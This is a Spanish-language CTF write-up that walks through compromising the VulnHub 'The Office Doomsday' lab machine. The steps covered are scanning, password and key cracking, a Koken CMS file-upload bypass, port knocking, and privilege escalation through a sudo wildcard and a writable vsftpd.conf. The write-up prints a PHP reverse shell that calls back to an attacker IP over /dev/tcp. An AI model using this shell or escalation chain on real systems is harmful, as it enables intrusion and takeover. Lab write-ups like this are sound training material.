cd ~/blog

~/writeups/vulnhub/22-the-office-doomsday.md

22 - The Office Doomsday

medium Linux vulnhub 29-10-2023
Koken CMS authenticated file uploadPCAP / ZIP / SSH key crackingPort knockingsudo script + writable vsftpd.conf Privesc
www.vulnhub.com/entry/the-office-doomsday-device,728/

~2 min de lectura


Máquina temática de The Office con múltiples flags repartidas por todo el recorrido. Comenzamos con un escaneo general y luego uno específico:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oN 01-allPorts 192.168.1.43
 sudo nmap -sC -sV -p21,22,80,18888,65533 -oN 02-targeted 192.168.1.43
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-29 01:11 -03
Nmap scan report for 192.168.1.43
Host is up (0.00028s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/nothingtoseehere
18888/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Dunder Mifflin
|_http-generator: Koken 0.22.24
65533/tcp open  http    Apache httpd 2.4.29
|_http-title: 403 Forbidden
Service Info: Host: 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Hay 3 servicios HTTP, FTP y SSH. El FTP no permite conexión anónima.

En el puerto 80 encontramos un mensaje en base64 que, al decodificarlo, contiene un mensaje en morse que nos entrega la primera flag.

Accedemos al puerto 18888 (fotos + un usuario/correo) y enumeramos con ffuf:

 ffuf -c -w directory-list-2.3-medium.txt -u "http://192.168.1.43:18888/FUZZ" -of html -fs 0
admin                   [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 12ms]
storage                 [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 11ms]
app                     [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 14ms]

El CMS Koken 0.22.24 es vulnerable a subida de archivos autenticada:

 searchsploit koken
Koken CMS 0.22.24 - Arbitrary File Upload (Authenticated)   | php/webapps/48706.txt

El puerto 65533 no es accesible directamente, pero enumerando encontramos un subdirectorio con la segunda flag. Fuzzeamos también el puerto 80:

 gobuster dir -u http://192.168.1.43/ -w directory-list-2.3-big.txt -x php,html,txt
/index.html           (Status: 200) [Size: 2819]
/robots.txt           (Status: 200) [Size: 42]
/nick                 (Status: 301) [Size: 311] [--> http://192.168.1.43/nick/]
/staffblog            (Status: 301) [Size: 316] [--> http://192.168.1.43/staffblog/]

En /nick (el "IT guy") hay una nota y un pcap; con Wireshark extraemos un usuario y contraseña. En /staffblog (blog de Creed) hay una pista sobre la contraseña en el pcap y la tercera flag.

Creamos un diccionario creedNNN con un script en Python:

with open("creed_passwd.txt", "w") as archivo:
    for i in range(0,1000):
        n_zeros = str(i).zfill(3)
        word = "creed" + n_zeros + "\n"
        archivo.write(word)

Con hydra obtenemos la contraseña FTP de creedcuarta flag y un ZIP cifrado, que crackeamos con john (wordlist Kaonashi):

 zip2john archive.zip > hash.txt
 john --wordlist=~/Documentos/Kaonashi/kaonashi14M.txt hash.txt
Loaded 1 password hash (PKZIP [32/64])
bigboobz         (archive.zip)
1g 0:00:00:00 DONE (2023-10-29 05:10) ...

Dentro hay una clave RSA y una pista para el admin de Koken. SSH no permite contraseña directa, así que crackeamos la passphrase de la clave de michael:

 ssh2john michael > michael_hash
 john --wordlist=~/Documentos/Kaonashi/kaonashi14M.txt michael_hash
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
mypassword1234   (michael)
1g 0:00:00:07 DONE (2023-10-29 05:17) ...
 ssh michael@192.168.1.43 -i michael
Enter passphrase for key 'michael':
michael@doomsday:~$

La pista para el admin de Koken es un gato de Angela (referencia de The Office), así que con Burp Intruder hacemos fuerza bruta con los nombres de los gatos y obtenemos Crinklepuss. Como el CMS es vulnerable a subida de archivos, preparamos una reverse shell PHP:

<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.10/1234 0>&1'");
?>

El portal bloquea .php, pero lo sorteamos añadiendo .jpg al final (script.php.jpg) y, siguiendo el exploit 48706, obtenemos la reverse shell.

Descubrimos otro subdirectorio en el puerto 80, _hint_ (solo presente en 2 de los diccionarios Kaonashi). Contiene 3 imágenes y nos piden encontrar la diferencia; una tiene un tamaño distinto, así que revisamos sus metadatos con ImageMagick:

 identify -verbose knockknock2.jpg
...
  Properties:
    comment: Open sesame: 5000, 7000, 9000
...
  #FLAG6: c9db6b7cad326cab2bcf0d2a26f7832d
...

Esa es la sexta flag y una secuencia de port knocking:

 knock -v 192.168.1.43 5000 7000 9000

El puerto SSH pasa de filtered a open. Volviendo a la sesión de michael, en su home hay un archivo oculto con la séptima flag. Además, en el directorio de Koken hay credenciales MySQL:

'database' => 'kokendb',
'username' => 'kokenuser',
'password' => 'Toby!Flenderson444',

Accedemos a MySQL y, con show tables, existe una tabla flag (la quinta flag).

Para escalar privilegios, revisamos sudo -l:

michael@doomsday:~$ sudo -l
Matching Defaults entries for michael on doomsday:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User michael may run the following commands on doomsday:
    (ALL) NOPASSWD: /home/creed/defuse*

Para colocar el script que ejecutaremos como root, usamos el FTP para subir un archivo, pero no tenemos permiso de chmod. Revisando el /etc/vsftpd.conf vemos que es escribible:

michael@doomsday:~$ ls -l vsftpd.conf
-rwxrwxrwx 1 root root 5924 Dec  3  2020 vsftpd.conf

Habilitamos chmod_enable en la config (requiere reiniciar la máquina y volver a hacer el knock para abrir SSH), subimos nuestro defuse y le damos permisos de ejecución:

#!/bin/bash
bash -i

Lo ejecutamos con sudo y obtenemos root y la última flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados